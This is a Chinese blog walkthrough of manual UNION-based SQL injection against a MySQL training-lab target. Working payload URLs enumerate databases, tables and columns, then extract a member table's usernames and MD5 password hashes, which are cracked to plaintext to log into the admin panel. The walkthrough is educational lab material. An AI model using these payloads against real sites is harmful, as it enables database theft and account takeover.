SQL手工注入笔记1
SQL手工注入笔记1
MySQL 数据库
SQL手工注入漏洞测试(MySQL数据库)
参考链接
实战靶场链接 SQL手工注入漏洞测试(MySQL数据库)
图片链接都是我自建的博客里的,可能加载比较慢.
我的个人博客
首先先复习以下MySQL自带表中记录的信息
information_schema数据库中的
'SCHEMATA' 表记录整个数据库服务器中的库名称 ,'SCHEMA_NAME'是库名.
'TABLES'表记录每个库中的所有表名,'TABLE_SCHEMA'为库名,'TABLE_NAME'为对应的表名(多行).
'COLUMNS'表记录着服务器数据库中所有表的字段 'TABLE_SCHEMA'对应数据库名,'TABLE_NAME'对应表名,'COLUMN_NAME'对应字段名,'COLUMN_TYPE'对应字段数据类型.
确定是否可以注入
地址栏在id=1 后面输入 and 1 = 2,
http://219.153.49.228:46538/new_list.php?id=1 and 1 = 2
相当于在数据库执行了以下语句
select * from '表名未知' WHERE id = 1 and 1 = 2
在sql中,WHERE 后接条件,AND表示和,比如:
X AND Y
需要 X 和 Y同时为真,也就是同时正确,sql服务器才会返回数据,然而1=2显然是错误的,所以返回结果为空
回车发现报错,可以注入.
判断表中字段数.
浏览器地址栏输入
http://219.153.49.228:46538/new_list.php?id=1 order by 5
sql语句
select * from '表名未知' WHERE id = 1 order by 5
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OIuz6NWW-1589477975714)(https://blog.2333hbg.xyz/image/SQL/sql1/2.PNG)]
报错,证明当前表中字段不超过5个字段.
将5换为4
http://219.153.49.228:46538/new_list.php?id=1 order by 4
结果:
正常.(order by要试到最大且不报错的数字).
判断显示的文本所在的字段.
浏览器输入
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JspeTOoR-1589477975719)(https://blog.2333hbg.xyz/image/SQL/sql1/4.PNG)]
sql语句
select * from 表名 WHERE id = 1 AND 1=2 union select 1,2,3,4
可以看到本应是标题的文字变为了2,正文变为了3
union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4.
我们再去自己的数据库看看:
这是正常的查询语句
select * from 'stuinfo' WHERE id = 1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K691tanm-1589477975721)(https://blog.2333hbg.xyz/image/SQL/sql1/5.png)]
加上and 1 = 2后
select * from 'stuinfo' WHERE id = 1 and 1 = 2
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x1I3vmFK-1589477975722)(https://blog.2333hbg.xyz/image/SQL/sql1/7.png)]
and 1 = 2不成立,所以返回了空结果
再加上union select 1,2,3,4,5,6,7,8(因为我的表有八个字段)
select * from 'stuinfo' WHERE id = 1 and 1 = 2 union select 1,2,3,4,5,6,7,8
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ejKoMmxh-1589477975724)(https://blog.2333hbg.xyz/image/SQL/sql1/6.png)]
union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4,5,6,7,8.
可以看到,原来的结果全部替换为了1到8,这就是为什么标题和正文被替换成了2和3.
所以我们可以在
中的2和3替换查询我们需要的数据(字段).
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4
union为联合查询,联结两个查询语句(select*)
查询当前数据库名称和数据库版本:
浏览器输入:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,database(),version(),4
结果:
图中可以看到当前数据库名称为’mozhe_Discuz_StormGroup’,数据库版本以及服务器系统版本为’5.7.22-0ubuntu0.16.04.1’
查询整个服务器中全部库名称
这里要用到我们之前提到的’information_schema服务器数据库’中’SCHEMATA’表
我们先看看SCHEMATA表的信息(我自己的服务器)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zEAUMFDi-1589477975726)(https://blog.2333hbg.xyz/image/SQL/sql1/15.png)]
可以看到整个服务器中的数据库名都在这里.
再看看查询语句的结果:
SELECT * FROM `SCHEMATA`
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E7ApVlzP-1589477975727)(https://blog.2333hbg.xyz/image/SQL/sql1/16.png)]
可以看到列出了全部结果,如果我们只需要第一条数据怎么办?
SELECT * FROM `SCHEMATA` limit 0,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UT0CByoO-1589477975729)(https://blog.2333hbg.xyz/image/SQL/sql1/17.png)]
可以再语句后添加limit 0,1
0表示从所有结果中在第一行开始取数据,后面的1表示从取出的数据中显示一条数据.
取第二条数据:
SELECT * FROM `SCHEMATA` limit 1,1
1表示从所有结果中在第2行开始取数据,后面的1表示从取出的数据中显示一条数据.
获取靶机服务器中全部数据库名:
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3qmBXu7o-1589477975732)(https://blog.2333hbg.xyz/image/SQL/sql1/9.PNG)]
'SCHEMA_NAME’为需要查询表的字段名,from后接在哪里查询
‘information_schema.SCHEMATA’ 指的是在
information_schema这个数据库中的SCHEMATA表.
limit 0,1 是在结果中的第0行取出1行 (以为我们这里只能显示一行数据,我们只要单行结果)
所以我们得到整个服务器数据库中’information_schema’是第一个数据库
继续浏览器,将limit 0,1改为limit 1,1,取第二行
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1
结果
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7wwo1MaB-1589477975733)(https://blog.2333hbg.xyz/image/SQL/sql1/10.PNG)]
可以看到第二个数据库为’mozhe_
Discuz_StormGroup’
继续 将limit 1,1改为limit 2,1,取第三行
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jet0O9vF-1589477975733)(https://blog.2333hbg.xyz/image/SQL/sql1/11.PNG)]
得到第三个数据库为’mysql’
继续 limit 2,1 > limit 3,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AleYIGl3-1589477975734)(https://blog.2333hbg.xyz/image/SQL/sql1/12.PNG)]
得到第四个数据库为’performance_schema’
继续 limit 3,1 > limit 4,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PVlRBaHb-1589477975735)(https://blog.2333hbg.xyz/image/SQL/sql1/13.PNG)]
第五个数据库为’sys’
继续 limit 4,1 > limit 5,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1
结果:
可以看到结果为空,也就是说服务器中只有五个数据库:
序号 | 库名称 |
---|---|
1 | information_schema |
2 | mozhe_Discuz_StormGroup |
3 | mysql |
4 | performance_schema |
5 | sys |
从中可以看到,只有’mozhe_
Discuz_StormGroup’这个库是和我们需要的有关联.
因此,我们需要查询下这个库中有那些表,以获得我们需要的密码.
查询指定库中所有表
查询库名称:mozhe_
Discuz_StormGroup
这里要用到information_schema库中的TABLES 表
先看看这个TABLES表结构(自己服务器):
可以看到,表中字段’TABLE_SCHEMA’对应的是库名称,同行中的’TABLE
_NAME’是这个库中的表名称.
如果说我想查询’wordpress’这个库中的全部表
SELECT * FROM `TABLES` WHERE `TABLE_SCHEMA` = 'typecho'
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JjJUvyfV-1589477975739)(https://blog.2333hbg.xyz/image/SQL/sql1/20.png)]
可以看到库名为’typecho’的库中的所有表信息.
因为我们这里只需要一行一行地查询,所以要在后面加上limit x ,x .
靶机:
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
结果:
'TABLE_NAME’为表名, from 后接库名.表名
WHERE 后接 条件
limit 0 ,1 取出结果第一条数据.
这里使用的是 查询 ‘TABLE
_SCHEMA’ 为 ‘mozhe
_
Discuz_StormGroup’ 的数据,显示查询结果中的’TABLE
_NAME’字段的信息,并只取1条
得到第一张表为’StormGroup_member’
继续 取第二条数据: limit 0,1 > limit 1,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L68JGkSK-1589477975740)(https://blog.2333hbg.xyz/image/SQL/sql1/22.PNG)]
得到第二张表为’notice’
继续 limit 1,1 > limit 2,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1
结果:
空,即是无,这个库只有两张表.
序号 | 库名 | 表名 |
---|---|---|
1 | mozhe_Discuz_StormGroup | StormGroup_member |
2 | mozhe_Discuz_StormGroup | notice |
查询表字段
这里用到information_schema库中的COLUMNS表.
先看看这张表的结构.
SELECT * FROM `COLUMNS`
直接上表吧.
字段 | 含义 | 备注 |
---|---|---|
TABLE_SCHEMA | 数据库名称 | |
TABLE_NAME | 表名 | |
COLUMN_NAME | 字段名 | |
DATA_TYPE | 字段数据类型 | 没截到,图中没有 |
如果我们要查库名为’test1’里的’stuinfo’表的话
SELECT * FROM `COLUMNS` WHERE `TABLE_SCHEMA` = 'test1' AND `TABLE_NAME` = 'stuinfo'
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wnguO54S-1589477975743)(https://blog.2333hbg.xyz/image/SQL/sql1/25.png)]
FROM后接表名
WHERE后接条件
AND连接两个条件,两个条件必须存在且完全正确才返回结果.前面的’and 1 = 2’就是让原来的查询结果返回空值
如果要返回一条结果,用limit.
靶机:
这次我们赌StormGroup_member表有我们需要的数据.
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wZYjvM4Q-1589477975744)(https://blog.2333hbg.xyz/image/SQL/sql1/26.PNG)]
WHERE 后面的
TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
TABLE_SCHEMA=‘库名’
TABLE
_NAME=‘表名’
limit 0,1 取第一行数据.
union后面的:
select 1,COLUMN_NAME,COLUMN_TYPE,4
分别在2和3显示’COLUMN_NAME’和’COLUMN
_TYPE’字段的数据.
图中可以看到表’StormGroup_member’第一个字段为’id’,数据类型为’int(11)’
然后继续 limit 0,1 > limit 1,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1
得到第二个字段为’name’,数据类型为’varchar(20)’
继续: limit 1,1 > limit 2,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1
第三字段为’password’ 数据类型’varchar(255)’
继续 limit 2,1 > limit 3,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1
第四字段为’status’ 数据类型’int(11)’
继续 limit 3,1 > limit 4,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1
空即无,我们得到了以下数据:
序号 | 数据库 | 表名 | 字段名 | 数据类型 |
---|---|---|---|---|
1 | mozhe_Discuz_StormGroup | StormGroup_member | id | int(11) |
2 | mozhe_Discuz_StormGroup | StormGroup_member | name | varchar(20) |
3 | mozhe_Discuz_StormGroup | StormGroup_member | password | varchar(255) |
4 | mozhe_Discuz_StormGroup | StormGroup_member | status | int(11) |
查询表中有几条数据
count()函数在MySQL中是统计结果的行数.
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,count(*),4 from mozhe_Discuz_StormGroup.StormGroup_member
from mozhcounte_Discuz_StormGroup.StormGroup_member
在 mozhe_Discuz_StormGroup 库中的 StormGroup_member 表查询
count(*)返回结果条数
从图中可以看到有2条记录
查询表中记录的值
因为只显示两个字段信息,先查询name和password字段.
也可以使用CONCAT()函数来连接多个字段的结果,这里使用最笨的方法.
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
得到name和password字段信息
再次查询status字段信息:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kgdJ2gZu-1589477975751)(https://blog.2333hbg.xyz/image/SQL/sql1/33.PNG)]
得到status为0.
因为之前查询到表中有两条记录,所以我们查询第二条
limit 0,1 > limit 1,1
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H73pfEyP-1589477975752)(https://blog.2333hbg.xyz/image/SQL/sql1/34.PNG)]
查status
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8gI1Wsok-1589477975752)(https://blog.2333hbg.xyz/image/SQL/sql1/35.PNG)]
得到以下信息:
序号 | name | password | status |
---|---|---|---|
1 | mozhe | 356f589a7df439f6f744ff19bb8092c0 | 0 |
2 | mozhe | 625cea684400c06679e63e798755a350 | 1 |
status我感觉为1的是激活的,0为禁用的.
通常来说,password是使用MD5加密,我们去网上解密.
得到结果:
序号 | name | password | status |
---|---|---|---|
1 | mozhe | dsan13 | 0 |
2 | mozhe | 177572 | 1 |
然后登录后台,结束.
如果有哪里写的不好的地方,欢迎指出,谢谢.
SQL手工注入笔记1相关推荐
- SQL手工注入网站笔记
SQL手工注入网站笔记 目标网站:http://testphp.vulnweb.com/listproducts.php?cat=1 1.判断注入点: http://testphp.vulnweb.c ...
- 墨者学院刷题笔记——SQL手工注入漏洞测试(MongoDB数据库)
今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL手工注入漏洞测试(MongoDB数据库). 一.题目简介 我们这里采用墨者学院的MongoDB数据库渗透测试题目,其地址为:https:/ ...
- python sql注入脚本_python辅助sql手工注入猜解数据库案例分析
发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...
- 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)
0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...
- 墨者学院01 SQL手工注入漏洞测试(MySQL数据库)
问题描述 鉴于我已经两周没能成功运行攻防世界的靶场环境...于是昨天又搜了一些网站,感觉墨者学院的题目还可以~ SQL手工注入虽然是一个已经被安全博主讲烂的主题,但是我之前很少有从头到尾实践手工注入的 ...
- SQL手工注入漏洞测试(Oracle数据库)
SQL手工注入漏洞测试(Oracle数据库) 0x01前言 本文旨在讲述Oracle数据库多种情况下如何进行注入 靶场地址:SQL手工注入漏洞测试(Oracle数据库)_SQL注入_在线靶场_墨者学院 ...
- Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))
本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库). 地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已 ...
- 墨者学院SQL手工注入靶场漏洞详解
墨者学院SQL手工注入靶场漏洞详解 目录 靶场地址 步骤详解 目录 靶场地址 该靶场由墨者学院安全工程师"墨者"所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币 ...
- SQLServer数据库注入-墨者学院(SQL手工注入漏洞测试(Sql Server数据库))
本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Sql Server数据库). 地址:http://219.153.49.228:42295/new_list.asp?id=2( ...
- MongoDB数据库注入-墨者学院(SQL手工注入漏洞测试(MongoDB数据库))
本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(MongoDB数据库). 地址:http://124.70.71.251:46804/new_list.php?id=1(注意这里 ...
最新文章
- “互联网+”的时代,易佳互联也随着时代步伐前进着
- 在进度面前,质量该不该打折?
- 5获取按钮返回值消息_大数据从入门到深入:JavaEE 之 项目实战 项目基础编码阶段(5)...
- Springboot中使用Google 的Kaptcha工具实现验证码校验
- Spring Cloud各组件超时
- northstar机器人编程_《机器人构建实战》——导读
- 就数据平台建设,80%的500强企业都有一个共性
- Packet Voice Modeling 语音包模型
- 搭建IPv6网络环境
- Linux 服务器网卡驱动安装及故障排除
- C++动态库和静态库的使用方法和区别
- java微信公众号授权登陆
- 邹小强老师的个人目标管理分享课
- 流媒体播放器播放h264编码视频与h265编码视频哪个更清晰?
- 计算机睡眠状态单机游戏,睡眠神经图 电脑版
- jdk11中使用JavaFx
- 机器人技术与应用笔记
- 部落冲突上链,币安领投Heroes of Mavia带来全新模式
- delphi百度文字识别(支持通用文字识别、身份证识别、银行卡识别、驾驶证识别、行驶证识别、车牌识别等功能)
- 小精灵定时关机 官网